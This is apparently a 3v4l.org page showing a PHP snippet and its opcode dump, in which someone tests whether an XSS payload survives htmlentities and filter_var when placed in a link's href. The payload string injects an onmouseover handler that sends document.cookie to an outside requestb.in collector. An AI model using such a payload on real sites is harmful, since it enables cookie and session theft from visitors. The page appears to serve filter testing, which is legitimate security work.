3v4l.org

run code in 300+ PHP versions simultaneously
<?php function safeHTML($var) { return htmlentities($var); } $link = 'http://moncul.com/toto.jpg\x22onmouseover=javascript:window.location=\x22http://requestb.in/sr3wb0sr?flag=\x22+(document.cookie);'; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) printf("ERROR !"); } if (is_null($link)) { $link = 'http://'; printf("NULL !"); } printf('<a href="%s">'."link".'</a>', safeHTML($link)); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 13
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 13
Branch analysis from position: 10
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 19
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
Branch analysis from position: 13
Branch analysis from position: 13
filename:       /in/0ef34
function name:  (null)
number of ops:  27
compiled vars:  !0 = $link
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    8     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2Fmoncul.com%2Ftoto.jpg%5Cx22onmouseover%3Djavascript%3Awindow.location%3D%5Cx22http%3A%2F%2Frequestb.in%2Fsr3wb0sr%3Fflag%3D%5Cx22%2B%28document.cookie%29%3B'
   10     1        TYPE_CHECK                                    2  ~2      !0
          2        BOOL_NOT                                         ~3      ~2
          3      > JMPZ                                                     ~3, ->13
   12     4    >   INIT_FCALL                                               'filter_var'
          5        SEND_VAR                                                 !0
          6        SEND_VAL                                                 273
          7        DO_ICALL                                         $4      
          8        BOOL_NOT                                         ~5      $4
          9      > JMPZ                                                     ~5, ->13
   13    10    >   INIT_FCALL                                               'printf'
         11        SEND_VAL                                                 'ERROR+%21'
         12        DO_ICALL                                                 
   16    13    >   TYPE_CHECK                                    2          !0
         14      > JMPZ                                                     ~7, ->19
   18    15    >   ASSIGN                                                   !0, 'http%3A%2F%2F'
   19    16        INIT_FCALL                                               'printf'
         17        SEND_VAL                                                 'NULL+%21'
         18        DO_ICALL                                                 
   22    19    >   INIT_FCALL                                               'printf'
         20        SEND_VAL                                                 '%3Ca+href%3D%22%25s%22%3Elink%3C%2Fa%3E'
         21        INIT_FCALL                                               'safehtml'
         22        SEND_VAR                                                 !0
         23        DO_FCALL                                      0  $10     
         24        SEND_VAR                                                 $10
         25        DO_ICALL                                                 
   24    26      > RETURN                                                   1

Function safehtml:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/0ef34
function name:  safeHTML
number of ops:  6
compiled vars:  !0 = $var
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   RECV                                             !0      
    5     1        INIT_FCALL                                               'htmlentities'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $1      
          4      > RETURN                                                   $1
    6     5*     > RETURN                                                   null

End of function safehtml

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
165.46 ms | 1399 KiB | 20 Q